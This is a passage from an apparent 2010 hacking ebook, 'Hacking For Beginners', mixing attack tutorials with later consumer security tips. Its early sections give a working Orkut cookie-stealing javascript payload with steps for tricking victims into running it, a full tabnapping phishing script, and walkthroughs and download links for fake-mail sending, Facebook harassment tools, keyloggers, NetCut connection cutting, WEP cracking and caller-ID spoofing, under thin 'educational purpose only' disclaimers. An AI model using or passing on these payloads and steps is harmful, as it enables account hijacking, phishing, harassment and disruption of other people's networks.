2337javascript:nobody=replyForm;nobody.toUserId.value=33444211;
2338nobody.scrapText.value=document.cookie;nobody.action=’scrapbook.aspx?
2339Action.submit’;nobody.submit()
2340How to use orkut cookies script?
2341Step 1. Replace your number "UserId.value=33444211″
2342How to Replace your Number
2343Step 1. Go to your Orkut album
2344Step 2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.
2345Step 3. Now replace your value with the value in the java script.
2346“Download cookie editor plugin for Mozilla firefox from: https://addons.mozilla.org/en-US/firefox/addon/573
2347Hacking For Beginners – Manthan Desai 2010
2348w w w . h a c k i n g t e c h . c o . t v
2349Page 109
2350Your script will look like -
2351javascript:nobody=replyForm;nobody.toUserId.value=yournumber;
2352nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));
2353nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;nobody.submit()
2354Step 2. Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter.
2355Step 3. You’ll get his orkut account cookie in your scrap book.
2356Step 4. After getting a orkut account cookie go to your orkut Home page , Then click on Tools tab and then go to cookie
2357editor plugin( Tools–> Cookie editor)
2358Step 5. click filter/refresh.look for ‘orkut_state’ cookie. just double click it and replace the orkut_state part with your
2359victim’s Script
2360put ur eight digit number in the place of (33444211).
2361Thats it your done with.
2362Logout of your orkut and login again and you’ll be in your victims Homepage.
2363Step 6. So remember guys…if you are having orkut account or having any other account….never use any suspicious script
2364to prevent anyone from hacking/accessing your orkut account.
2365I hope you have learned how to hack orkut accounts using cookie stealing. Just the script can be used to hack orkut
2366accounts and then access victim’s orkut account. Enjoy hacking orkut.
2367“Do not use this hack trick in any criminal activities and please do not destroy any ones account
2368this is for educational purpose only”.
2369“You can also use this attack for many other sites like yahoo but you will need some other scripts
2370for that but nothing is impossible so use google and search the script for other sites for self
2371practice”.
2372Hacking For Beginners – Manthan Desai 2010
2373w w w . h a c k i n g t e c h . c o . t v
2374Page 110
237510. Tab Napping A New Phishing Attack
2376Traditional phishing attacks are reasonably easy to avoid, just don’t click links in suspicious e-mails (or, for the really
2377paranoid, any e-mail). But Firefox Creative Lead Aza Raskin has found a far more devious way to launch an attack by
2378hijacking your unattended browser tabs.
2379The attack works by first detecting that the tab the page is in does not have focus. Then the attacking script can change
2380the tab favicon and title before loading a new site, say a fake version of gmail or orkut, in the background.
2381Even scarier, the attack can parse through your history to find sites you actually visit and impersonate them.
2382Because most of us trust our tabs to remain on the page we left them on, this is a particularly difficult attack to detect. As
2383Raskin writes, "as the user scans their many open tabs, the favicon and title act as a strong visual cue — memory is
2384mailable and moldable and the user will most likely simply think they left *the+ tab open.”
2385The only clue that you’re being tricked is that the URL will be wrong.
2386The Script Used is as Below.-
2387<a> open this in a tab of your browser and wait for 10 seconds and see after you come back but leave this page and go
2388to other tab to see this magic.</a>
2389<script type="text/javascript">
2390var xScroll, yScroll, timerPoll, timerRedirect, timerClock;
2391function initRedirect(){
2392if (typeof document.body.scrollTop != "undefined"){ //IE,NS7,Moz
2393xScroll = document.body.scrollLeft;
2394yScroll = document.body.scrollTop;
2395clearInterval(timerPoll); //stop polling scroll move
2396clearInterval(timerRedirect); //stop timed redirect
2397Hacking For Beginners – Manthan Desai 2010
2398w w w . h a c k i n g t e c h . c o . t v
2399Page 111
2400timerPoll = setInterval("pollActivity()",1); //poll scrolling
2401timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
2402redirect
2403}
2404else if (typeof window.pageYOffset != "undefined"){ //other browsers that support pageYOffset/pageXOffset instead
2405xScroll = window.pageXOffset;
2406yScroll = window.pageYOffset;
2407clearInterval(timerPoll); //stop polling scroll move
2408clearInterval(timerRedirect); //stop timed redirect
2409timerPoll = setInterval("pollActivity()",1); //poll scrolling
2410timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed
2411redirect
2412}
2413//else do nothing
2414}
2415function pollActivity(){
2416if ((typeof document.body.scrollTop != "undefined" && (xScroll!=document.body.scrollLeft ||
2417yScroll!=document.body.scrollTop)) //IE/NS7/Moz
2418||
2419(typeof window.pageYOffset != "undefined" && (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {
2420//other browsers
2421initRedirect(); //reset polling scroll position
2422}
2423} document.onmousemove=initRedirect;
2424document.onclick=initRedirect;
2425document.onkeydown=initRedirect;
2426window.onload=initRedirect;
2427window.onresize=initRedirect;
2428</script>
2429Hacking For Beginners – Manthan Desai 2010
2430w w w . h a c k i n g t e c h . c o . t v
2431Page 112
2432To See The Demo Of this Attack visit: http://www.hackingtech.co.tv/tabnapping.html
2433Replace the URL highlighted here with your URL where you want the victim to redirect.
2434Use This Script in the Page and then the page will redirect after 10 sec when the user if not on the particular tab.
2435“Do not use this hack trick in any criminal activities and please do not destroy any ones account
2436this is for educational purpose only”.
2437Hacking For Beginners – Manthan Desai 2010
2438w w w . h a c k i n g t e c h . c o . t v
2439Page 113
244011. How to Check The email is original or Not
2441First of all let us see How email system is working over internet.
2442The email is sent on internet as shown in below picture
2443So Here The Sender i.e abc@server1.com is sending a mail to xyz@server2.in. so the sender will type the mail and click on
2444send button and the mail will go to SERVER1.com whereSERVER1.com will forward the mail over internet and the internet
2445will search the xyz@server2.in email ids server and send it to SERVER2.in and the the SERVER2.in will search for
2446the xyz@server2.in in their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user
2447login to their account they will see an email in their inbox which is from abc@server1.com.
2448Now How To send the fake mail
2449To send fake mail We need to Bypass the abc@server1.com and SERVER1.com both and directly send an email over
2450internet .
2451So for that we will use a .php script as php has a function mail(); which can send email to any one without the
2452SERVER1.com and directly delivering the mail to SERVER2.in and then SERVER2.in will search for the xyz@server2.in in
2453their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user login to their account
2454they will see an email in their inbox which is from abc@server1.com.
2455Hacking For Beginners – Manthan Desai 2010
2456w w w . h a c k i n g t e c h . c o . t v
2457Page 114
2458But actually the email is not sent byabc@server1.comto xyz@server2.in so it is a fake mail.
2459SEND FAKE MAILS FROM HACKING TECH
2460Fill Up the form on Hacking Tech fake mailer page. For form visit http://www.hackingtech.co.tv/index/0-93
2461Now How to check When you receive such mail.
2462Step 1:- First of all open the mail.
2463Hacking For Beginners – Manthan Desai 2010
2464w w w . h a c k i n g t e c h . c o . t v
2465Page 115
2466Step 2:- Now Click on the downward arrow near reply button. and click on show original.
2467Now check for The received from field on the page opened.
2468and see who has sent you the email , here billgates@microsoft.com is the sender.
2469so in the received from field check that there must be microsoft.comand not any other thing.
2470this was fake mail as there was outgoing.x10hosting.com and so the mail is fake as there is no microsoft.com here.
2471“Do not send fake mails for criminal activities from hackingtech fake mailer as they are tracking
2472your IP address and Can back track you for any illegal activities performed by you and so please do
2473not destroy any ones account, this is for educational purpose only”.
2474Hacking For Beginners – Manthan Desai 2010
2475w w w . h a c k i n g t e c h . c o . t v
2476Page 116
247712. Hack facebook account by facebook hacker
2478Hack facebook Account With facebook Hacker.
2479Facebook is one of the most attractive keywords of Computer Hacking and so, large number of Facebook users are visiting
2480Computer Hacking. .
2481Well, Facebook Hacker is a multi-functional software used to hack facebook account. Actually, you can't hack facebook
2482password, but yes, cause many nuisance and pranks by using this Facebook Hacker software.
2483Hack Facebook Accounts with Facebook Hacker
2484Step 1. First of all Download Facebook Hacker software.
2485Step 2. Now, run Facebook Hacker.exe file to see:
2486Login to your Facebook account and then hit on OK at right bottom.
2487Step 3. Now, Facebook Hacker options are displayed as shown:
2488“You can Download facebook hacker From Here: http://www.hackingtech.co.tv/Facebook_Hacker.rar “.
2489Hacking For Beginners – Manthan Desai 2010
2490w w w . h a c k i n g t e c h . c o . t v
2491Page 117
2492Step 4. In Victim pane at left bottom, enter the facebook ID of the victim you wanna hack in User ID field.
2493Step 5. Now, using this Facebook Hacker software you can:
2494 Flood wall of victim.
2495 Spam his message box.
2496 Comment on him like crazy.
2497 Poke him and even add mass likes.
2498Thus, you can play such pranks with your friends using this Facebook Hacker. So, free download Facebook
2499Hacker and trick out your friends.
2500That's all. Hope you will enjoy using this tool. I have tried this Facebook hacker software and found working
2501perfect for me.
2502“Do not use this hack trick in any criminal activities and please do not destroy any ones account
2503this is for educational purpose only”.
2504Hacking For Beginners – Manthan Desai 2010
2505w w w . h a c k i n g t e c h . c o . t v
2506Page 118
250713. What Are Key loggers?
2508Keyloggers definition
2509Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a
2510computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user.
2511Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other
2512information a user may not wish others to know about.
2513Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business
2514purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted
2515to an unknown third party.
2516About keyloggers
2517A keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are
2518hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the
2519hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or
2520be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the
2521user. Keylogger is commonly included in rootkits.
2522A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the
2523hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.
2524There are other approaches to capturing info about what you are doing.
2525 Somekeyloggerscapture screens, rather than keystrokes.
2526 Otherkeyloggerswill secretly turn on video or audio recorders, and transmit what they capture over your internet
2527connection.
2528A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the
2529registry. Or a keyloggers could be which boasts these features:
2530 Stealth: invisible in process list
2531 Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
2532 ProBot program files and registry entries are hidden (Windows 2000 / XP)
2533 Includes Remote Deployment wizard
2534 Active window titles and process names logging
2535 Keystroke / password logging
2536 Regional keyboard support
2537 Keylogging in NT console windows
2538 Launched applications list
2539 Text snapshots of active applications.
2540 Visited Internet URL logger
2541 Capture HTTP POST data (including logins/passwords)
2542Hacking For Beginners – Manthan Desai 2010
2543w w w . h a c k i n g t e c h . c o . t v
2544Page 119
2545 File and Folder creation/removal logging
2546 Mouse activities
2547 Workstation user and timestamp recording
2548 Log file archiving, separate log files for each user
2549 Log file secure encryption
2550 Password authentication
2551 Invisible operation
2552 Native GUI session log presentation
2553 Easy log file reports with Instant Viewer 2 Web interface
2554 HTML and Text log file export
2555 Automatic E-mail log file delivery
2556 Easy setup & uninstall wizards
2557 Support for Windows (R) 95/98/ME and Windows (R) NT/2000/XP
2558Because a keylogger can involve dozens of files, and has as a primary goal complete stealth from the user, removing one
2559manually can be a terrifying challenge to any computer user. Incorrect removal efforts can result in damage to the
2560operating system, instability, inability to use the mouse or keyboard, or worse. Further, some key loggers will survive
2561manual efforts to remove them, re-installing themselves before the user even reboots.
2562Some Famous Key Loggers.
25631. Actual spy.
25642. Golden Keylogger
25653. Remote Keylogger.
25664. Home Keylogger
25675. Soft Central keylogger
25686. Stealth keyboard
2569“You can Download Actual spy From Here: http://u.to/tCWk “.
2570“You can Download Golden Keylogger From Here: http://u.to/0iWk “.
2571“You can Download Remote Keylogger From Here: http://u.to/3iWk “.
2572“You can Download Home Keylogger From Here: http://u.to/CSak “.
2573“You can Download Soft Central From Here: http://u.to/OCak “.
2574“You can Download Adramax keylogger From Here: http://u.to/Pyak “.
2575Hacking For Beginners – Manthan Desai 2010
2576w w w . h a c k i n g t e c h . c o . t v
2577Page 120
257814. How To remove New Folder virus
2579What is Newfolder.exe?
2580The real name of this virus is Iddono. This threat copies its file(s) to your hard disk. Its typical file name is Iddono. Then it
2581creates new startup key with name Iddono and value newfolder.exe. You can also find it in your processes list with name
2582newfolder.exe or Iddono. This virus is very difficult to eliminate manually, but you can find several possible methods of
2583removal below.
2584How to fix Newfolder.exe?
2585Quick Solution:
2586True Sword will find and eliminate this problem and more than 447 908 other dangerous threats including trojans,
2587spyware, adware, riskware, problemware, keyloggers, dialers and other kinds of malicious programs in several seconds.
2588Fast, easy, and handy, True Sword protects your computer against malicious programs that do harm to your computer
2589and break your privacy. True Sword scans your hard disks and registry and destroys any manifestation of such malicious
2590programs. Standard anti-virus software can do nothing against privacy breakers and malicious programs like that. Get rid
2591of trojans, spyware, adware, trackware, dialers and keyloggers in one click .
2592How to fix Newfolder.exe manually? For advanced users only
2593This problem can be solved manually by deleting all registry keys and files connected with this software, removing it from
2594starup list and unregistering all corresponding DLLs. Additionally missing DLL's should be restored from distribution in
2595case they are corrupted by Iddono. To fix this threat, you should: 1. Kill the following processes and delete the
2596appropriate files:
2597 libedit.dll
2598 newfolder.exe
2599 shelliddono.dll
2600 srv0104.ids
2601 srvidd20.exe
2602If these files can't be deleted during normal Windows work or recreate themselves, reboot into Safe Mode and repeat
2603deletion. If you do not see all of these files, then they are hiding themselves. You need special software to kill those
2604hidden files. 2. Delete the following malicious registry entries and\or values:
2605 Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Run for nwiz.exe Value: @
2606 Key: software\microsoft\windows\currentversion\run\alchem Value: @
2607 Key: software\microsoft\windows\currentversion\run\zzb Value: @
2608Another method which is recently discovered by me that any AVG antivirus above 8.0version can detect the new folder
2609virus easily.
2610“For beginners I recommend to for for the Software True Sword its free “.
2611Hacking For Beginners – Manthan Desai 2010
2612w w w . h a c k i n g t e c h . c o . t v
2613Page 121
261415. Call Your Friend from Their Own Number
2615Step 1:- Go to http://www.mobivox.com and register there for free account.
2616Step 2:- During registration, remember to insert your friends (Victims) mobile number in "Phone number" field as shown
2617below.
2618Hacking For Beginners – Manthan Desai 2010
2619w w w . h a c k i n g t e c h . c o . t v
2620Page 122
2621Step 3:- Complete registration and confirm your email id and then login to your account.
2622Step 4:- Click on "Direct WebCall" After successful Login into your Mobivox account. as show below.
2623Step 5:- You will arrive at page shown below. In "Enter a number" box, select your country and also any mobile
2624number(you can enter yours). Now, simply hit on "Call Now" button to call your friend with his own number.
2625Hacking For Beginners – Manthan Desai 2010
2626w w w . h a c k i n g t e c h . c o . t v
2627Page 123
2628Step 6:- That's it. Your friend will be shocked to see his own number calling him.
2629[1] .You get only 10 min to call free after that you need to pay money , but you can make
2630another account with another friends number and another email id and start pranking again...
2631[2] .But don't miss use this hack by calling someone's GIRL Friend(s) OR BOY Friend(s). Because
2632this hack is untraceable. If You call Customer Care and tell about this then they will tell this thing
2633cannot happen.
2634Read more:http://www.hackingtech.co.tv/index/call_your_friend_with_his_own_number/0-
263535#ixzz14mg1K1bJ
2636Hacking For Beginners – Manthan Desai 2010
2637w w w . h a c k i n g t e c h . c o . t v
2638Page 124
263916. Get Orkut Scraps on mobile
2640Get Orkut Scraps on Mobile for free using Google SMS Channel!
2641Orkut Team officially introduced a feature by using you can get the Orkut scraps on your mobile. But by using this official
2642orkut sms feature they cost some charges as per network. But by using this trick you can enjoy free Scrap alerts on your
2643mobile absolutely free This service works with the help of Google SMS channels and Orkutfeeds.
2644You have to just follow the simple steps:-
2645Step 1 :- First of all you have to get the feed url of your Orkut profile by using orkutfeeds.com.
2646For this, just open your Orkut profile and copy the home page link (In my case it
2647is http://www.orkut.co.in/Main#Profile.aspx?uid=18178041893973983718). ( To copy the page link just right click on
2648your orkut profile properties and copy link from there.)
2649Step 2 :- Now go to orkutfeeds.com and paste your Orkut profile link (already generated on step 1).After this, just hit the
2650subscribe button and you’ll be provided with your Orkut profile feed URL.
2651Step 3 :- Also add "#both” at the end of the above URL so that you can get messages of the scrap as well.
2652Now my feed URL becomes http://www.orkutfeeds.com/feed.php?uid=18178041893973983718#both
2653Step 4 :- Now go to Google SMS channels homepage and create a new channel as shown in the screen shot below. If you
2654don’t have an account on SMS channels then create one by logging in with your Gmail password.
2655Hacking For Beginners – Manthan Desai 2010
2656w w w . h a c k i n g t e c h . c o . t v
2657Page 125
2658Step 5 :- Fill all the required details and feed URL of your Orkut page (refer step 2) on the ‘RSS/Atom feed’ form and finally
2659hit the ‘create channel’ button.
2660Hacking For Beginners – Manthan Desai 2010
2661w w w . h a c k i n g t e c h . c o . t v
2662Page 126
2663That’s it! Now you’ll be getting scrap notifications via SMS for free
2664[1] For this trick to work on locked scrapbooks, you must add this Orkutfeeds bot as your friend.
2665http://www.orkut.co.in/Main#Profile.aspx?uid=10226448830416481862
2666[2] Scrap notification are delayed for 2-4 hours depending on the Google’s server traffic.
2667Hacking For Beginners – Manthan Desai 2010
2668w w w . h a c k i n g t e c h . c o . t v
2669Page 127
267017. Internet connection cut-off in LAN/Wi-Fi
2671Hacking The Internet Connection of the shared computers in Colleges/ Cyber Cafe / schools etc. and gain the complete
2672Access of internet with full speed.
2673Netcut stands for Network Cut. NetCut is software where we can control the connection to each computer/laptop in a
2674WIFI network/LAN. However, this software can be used to retrieve internet bandwidth from other computers in a
2675LAN/WIFI.
2676Shared connection speed is basically determined the number of users connected, topology is used, setting protocols
2677and much more. If using a pure setting, the access speed will be divided based on the number of users who use
2678it. Example: If the connection speed = 500 Kbps, and there are 5 users who use it, then the speed of each to 100 Kbps,
2679except given the limit connection to other user. So more and more users connected, the smaller also access. And using
2680this attack cut the internet connection of shared computers in LAN/WIFI. And Get the Full Speed of internet on your
2681system.
2682Hacking For Beginners – Manthan Desai 2010
2683w w w . h a c k i n g t e c h . c o . t v
2684Page 128
2685Step 1:- you will need the NetCut 2.0 software so download it from Here.
2686Step2:- Unzip the downloaded Software and install it On Your System.
2687Step3:- Open the Software and you will get the following screen.
2688Step 4:- Select all or any One of the IP Addresses Seen on the Screen EXCEPT the first Two IP because they are Your PC's IP
2689Address.
2690Step 5:- After Selecting the IP address Press the Cut off Button and the internet connection will be cut off within few
2691Seconds.
2692Step 6:- To Resume or Start the Internet again Press the Resume Button and the internet will again start working in the
2693shared computers.
2694Now after cutting the network connection Lets Study the Prevention from This attack so that this cannot happen with
2695you.
2696“Download it from here: http://www.hackingtech.co.tv/netcut2.08.zip “.
2697Hacking For Beginners – Manthan Desai 2010
2698w w w . h a c k i n g t e c h . c o . t v
2699Page 129
2700Anti netCut. This software can protect you when you surf the Internet using wireless networks in particular hotspot areas
2701which may be used by the netters. By using antinetcut, then guaranteed you will be protected from ignorant people who
2702use netCut to control bandwidth, LAN and Wireless network. Why Anti netcut 2? No internet disconnection any more,
2703starts with operating system; you don’t have to run every time turning on your PC. Lists all open ports in your connection
2704(Security wise), Get your public IP address, Know who is cutting your connection, Direct link to internet connection speed
2705meter, Direct link to spyware scanner, Direct link to free virus scanner and No Spyware
2706Step1:- Download the Anti NetCut 2 form Here Because You Will Need It.
2707Step 2:- Unrar The pack and install the software.
2708Step 3:- There Will Be an Icon in the Task bar of Anti Net 2, like this.
2709Step 4:- To see who Using Net Cut is against you or who is attacking on our network, right click on this icon and Select
2710“Who is using Net Cut". And you will get The IP addresses of the User in the window as shown below.
2711Step 5:- To see Your Open connections, means the Ports of the network which are not cut off By the NetCut 2.0. Right
2712Click on the icon and Click on “My open connection" and you will get window like this.
2713“Download it from here: http://www.hackingtech.co.tv/anti_netcut_2.rar “.
2714Hacking For Beginners – Manthan Desai 2010
2715w w w . h a c k i n g t e c h . c o . t v
2716Page 130
2717Step 6:- You are done now The Anti Net Cut 2 will automatically fix the error of internet Cut off Caused by Net Cut 2.0.
2718“Do not use this hack trick in any criminal activities and please do not destroy any ones account
2719this is for educational purpose only”.
2720“Use of anti Netcut is for countermeasure purpose and do not misuse the Netcut.”
2721Hacking For Beginners – Manthan Desai 2010
2722w w w . h a c k i n g t e c h . c o . t v
2723Page 131
272418. WEP cracking using Airo Wizard
2725In This Tutorial We Will learn to hack/crack the WEP (Wired Equipped Privacy).
2726A WEP key is a security code used on some Wi-Fi networks. WEP keys allow a group of devices on a local network (such as
2727a home network) to exchange encoded messages with each other while hiding the contents of the messages from easy
2728viewing by outsiders.
2729A WEP key is a sequence of hexadecimal digits. These digits include the numbers 0-9 and the letters A-F. Some examples
2730of WEP keys are:
2731 1A648C9FE2
2732 99D767BAC38EA23B0C0176D15
2733WEP keys are chosen by a network administrator. WEP keys are set on Wi-Fi routers, adapters and other wireless network
2734devices. Matching WEP keys must be set on each device for them to communicate with each other.
2735The length of a WEP key depends on the type of WEP security (called "encryption") utilized:
2736 40- / 64-bit WEP: 10 digit key
2737 104- / 128-bit WEP: 26 digit key
2738To assist with the process of creating correct WEP keys, some brands of wireless network equipment automatically
2739generates WEP keys from ordinary text called a pass phrase.
2740Air crack is an 802.11(protocol) WEP and WPA-PSK keys cracking application that is able to recover keys once enough data
2741packets have been captured(Sniffed). It follows the standard FMS attack along with some optimizations like KoreK attacks,
2742along with the all-new PTW attack, thus making the attack much faster and effective compared to other WEP cracking
2743tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks and not much known by the crackers.
2744“Download it from here: http://u.to/ayak “.
2745Hacking For Beginners – Manthan Desai 2010
2746w w w . h a c k i n g t e c h . c o . t v
2747Page 132
2748Hacking For Beginners – Manthan Desai 2010
2749w w w . h a c k i n g t e c h . c o . t v
2750Page 133
275119. 12 Security tips for online shopping
2752The internet is an exciting place to shop. From the comfort of your own armchair you can browse for literally anything,
2753from a new camera, to a holiday or flight. You are not restricted to the stores in your local town, or even country and you
2754can pick up deals at great prices on a whole range of products.
2755Shopping online isn’t just as safe as handing over your credit card in a store or restaurant. However, if you take care of
2756few things it can be a safe deal. Following are the things you should take care of:
27571. Never respond to an email request for credit card details. All reputable companies will conduct transactions with you
2758over a secure website connection.
27592. Remember to never respond to any email advertisement, and only visit sites you know or have book marked, and
2760verify the address before browsing further.
27613. Only buy from trusted brands and websites.
27624. To ensure that you only do business with legitimate companies check to see if they have a contact number, an actual
2763retail store and a printed catalogue to browse.
27645. Check a website’s returns and privacy policy before going ahead with a purchase.
27656. Check that you are entering your details through a secure payment connection. You should notice when you click
2766through to the transaction page of a company’s website that the URL in the address bar begins https:// (instead of
2767the normal http ://). This is the standard encrypted communication mechanism on the internet and means that your
2768credit card details are being sent securely.
27697. Beware of deals that seem too good to be true.
27708. Beware of the limitations of the internet. The internet may not the best place to buy clothes or other products you
2771need to see, touch or try on.
27729. All reputable websites use secure payment systems. These are either a company’s own system or a 3rd party system
2773such as Worldpay or Pay pal.
277410. When conducting a transaction over the internet, look for the yellow padlock in the grey status bar at the bottom of
2775your browser page. This is an indication that the transaction is being conducted over a secure connection.
277611. As an extra precaution check to see if there’s a gold lock at the bottom of the right hand corner of the browser. If
2777they don’t include any of these reliable indicators, you might want to think twice before handing over your credit
2778card number.
277912. To be on the safe side, and avoid Internet fraudsters, it’s also a good idea to install and use security software such as
2780Kaspersky Internet Security. It can provide you with industry-leading security services that will provide you more
2781protection against the latest threats.
2782Hacking For Beginners – Manthan Desai 2010
2783w w w . h a c k i n g t e c h . c o . t v
2784Page 134
278520. How to check if Your Gmail acc. is hacked
2786How to check if your Gmail Account Has Been Hacked
2787If you’re worried about email security, here is a step by step guide to help you check and determine if your Gmail account
2788has been hacked or compromised in any way.
2789Step 1: Find the ‘Last Account Activity’ Section In Your Inbox
2790At the bottom of your Gmail inbox there is a ‘Last Account Activity’ section. Click on ‘details’ to launch the full blown
2791monitor.
2792Step 2: See who has accessed your Gmail account recently.
2793Next, what you’ll see is a table of the most recent activity from your Gmail account. It shows you
2794* * How it was accessed (Browser/mobile etc)
2795* Where exactly the IP address is (So you can do some further digging)
2796* When it was accessed
2797Step 3: Understand the IP addresses – Has your Gmail really been hacked.
2798Hacking For Beginners – Manthan Desai 2010
2799w w w . h a c k i n g t e c h . c o . t v
2800Page 135
2801If you see IP addresses from different countries, don’t be too quick to panic. If you use any 3rd party services which hookup
2802to your Gmail account, they will almost certainly show up in your activity log. To do you own investigation, you can
2803use Domain Tools (www.domaintools.com) to identify the IP address. This will help you differentiate normal activity and
2804your Gmail account being hacked.
2805Step 4: Understand the alerts – Google’s way of highlighting suspicious activity.
2806Google will also do its fair share of monitoring, and will also alert you if it sees suspicious activity both in your inbox, as
2807well as your recent activity log. When this happens, and the IP addresses look suspicious, it is advisable to play it safe,
2808assume your Gmail account has been hacked, and change your passwords immediately.
2809Step 5: Sign out All Other Sessions – If you forgot to sign out on a public computer.
2810If you are worried you did not sign out of a public computer, you can ‘sign out all other sessions’. This won’t fix any
2811hacked Gmail accounts, but it will resolve any careless mistakes. This is also useful if you happen to lose your mobile
2812phone and you want to ensure your email is not read by others.
2813Step 6: What to do if your Gmail account has really been hacked
2814The first thing you do is change both your password and security question right away. Then make sure your new choices
2815are very secure. Google themselves have some really good tips. For example in the case of security questions:
2816 Choose a question only you know the answer to – make sure the question isn’t associated with your password.
2817 Pick a question that can’t be answered through research (for example, avoid your mother’s maiden name, your
2818birth date, your first or last name, your social security number, your phone number, your pet’s name, etc.).
2819 Make sure your answer is memorable, but not easy to guess. Use an answer that is a complete sentence for even
2820more security.
2821So there you have it. A step-by-step guide on fully understanding Gmail’s account activity log, and how to check if your
2822Gmail account has been hacked
2823“Always use this method to sign out all other accounts if you have accessed the internet from
2824public place or PC this will make your GMAIL account more secure“.
2825Hacking For Beginners – Manthan Desai 2010
2826w w w . h a c k i n g t e c h . c o . t v
2827Page 136
282821. Beware Of Common Internet Scam/Frauds
2829The term Internet Scam or Internet Fraud refers to any type of fraud scheme that uses one or more online services to
2830conduct fraudulent activities. Internet fraud can take place on computer programs such as chat rooms, e-mail, message
2831boards, or Web sites. In this post I will discuss about some of the commonly conducted scams and frauds across the
2832Internet.
28331. Phishing Scam
2834This is one of the most commonly used scam to steal bank logins and other types of passwords on the Internet. Phishing is
2835the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit
2836card details by masquerading as a trustworthy entity in an electronic communication. Phishing is typically carried out by
2837e-mail or instant messaging.
2838Example: You may receive an email which claims to have come from your bank/financial institution/online service
2839provider that asks you to click a link and update your account information. When you click such a link it will take you to a
2840fake page which exactly resembles the original ones. Here you’ll be asked to enter your personal details such as username
2841and password. Once you enter your personal details they will be stolen away. Such an email is more than likely the type of
2842Internet scam known as "phishing”. Phishing is said to be highly effective and has proved to have more success rate since
2843most of the common people fail to identify the scam.
2844Most legitimate companies never request any kind of personal/sensitive information via email. So it is highly
2845recommended that you DO NOT respond to such fraudulent emails. For more information on phishing visit my detailed
2846post What is Phishing?
28472. Nigerian Scams
2848This type of scam involves sending emails (spam) to people in bulk seeking their help to access large amount of money
2849that is held up in a foreign bank account. This email claims that in return for the help you’ll be rewarded a percentage of
2850the fund that involves in the transaction. Never respond to these emails since it’s none other than a scam.
2851Hacking For Beginners – Manthan Desai 2010
2852w w w . h a c k i n g t e c h . c o . t v
2853Page 137
2854In case if you respond to these emails you will be asked to deposit a small amount of money (say 1-2% of the whole fund)
2855as an insurance or as an advance payment for the initialization of deal. However once you deposit the amount to the
2856scammer’s account you’ll not get any further response from them and you lose your money. In fact "The large amount of
2857money” never exists and the whole story is a trap for innocent people who are likely to become victims. The scammers
2858use a variety of stories to explain why they need your help to access the funds. The following are some of the examples of
2859them.
2860Examples:
2861 They may claim that political climate or legal issues preclude them from accessing funds in a foreign bank
2862account.
2863 They may claim that the person is a minor and hence needs your help to access the funds.
2864 They may claim that your last name is the same as that of the deceased person who owned the account and
2865suggest that you act as the Next of Kin of this person in order to gain access to the funds.
28663. Lottery Scams
2867This type of scam is similar to the one discussed above. In this type you may receive an email saying that you have won a
2868large sum of money in online lottery scheme (ex. UK Lottery) even though you have not participated in any such schemes.
2869The message claims that your email ID was selected randomly from a large pool of IDs. When you respond to such emails
2870they initially ask for your complete name and address so that they can mail the cheque across to you. After getting those
2871details they may also send you an image of the cheque drawn in your name and address so as to confirm the deal. But in
2872order to mail this cheque they demand a small amount of money as insurance/shipping charge/tax in return. However if
2873you send the amount in hope to receive the cheque all you get is nothing. You’re just trapped in a wonderful scam
2874scheme. That’s it.
28754. Other General Scams and Frauds
2876The following are some of the other types of scams that you should be aware of.
2877In general, be aware of unsolicited emails that:
28781. Promise you money, jobs or prizes.
28792. Ask you to provide sensitive personal information.
28803. Ask you to follow a link to a website and log on to an account.
28814. Propose lucrative business deals
2882However it may seem to be a difficult task for novice Internet users to identify such online scams. Here are some of the
2883common signs of such scam emails. By knowing them it may help you to stay away.
2884 All these scam emails never address you by your name. In turn they commonly address you something like "Dear
2885User” or "Dear Customer” etc. This is a clear indication that the email is a fraudulent one
2886 When you observe the email header you may notice in the "TO:” Field that, the same email is forwarded to a
2887large group of people or the "TO:” field appears blank. So this confirms that the email was not intended
2888particularly for you. It was forwarded for a large group of people and you are one among them.
2889“Do not use this hacks & trick in any criminal activities like phishing bank websites and please do
2890not destroy any ones account this is only for educational purpose”.
2891Hacking For Beginners – Manthan Desai 2010
2892w w w . h a c k i n g t e c h . c o . t v
2893Page 138
289422. 12 Tips to maintain a virus free PC.
28951. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away
2896from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your
2897contact list. If you are using your own private email host (other than Gmail, yahoo, hotmail etc.) then it is highly
2898recommended that you use good anti-spam software. And finally NEVER click on any links in the emails that comes from
2899untrusted sources.
29002. be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have
2901efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail
2902or Yahoo (In Fire fox).
29033. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these
2904attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do
2905a scan before opening.
29064. As we all know, Internet is the main source of all the malicious programs including viruses, worms, Trojans etc. In fact
2907Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward
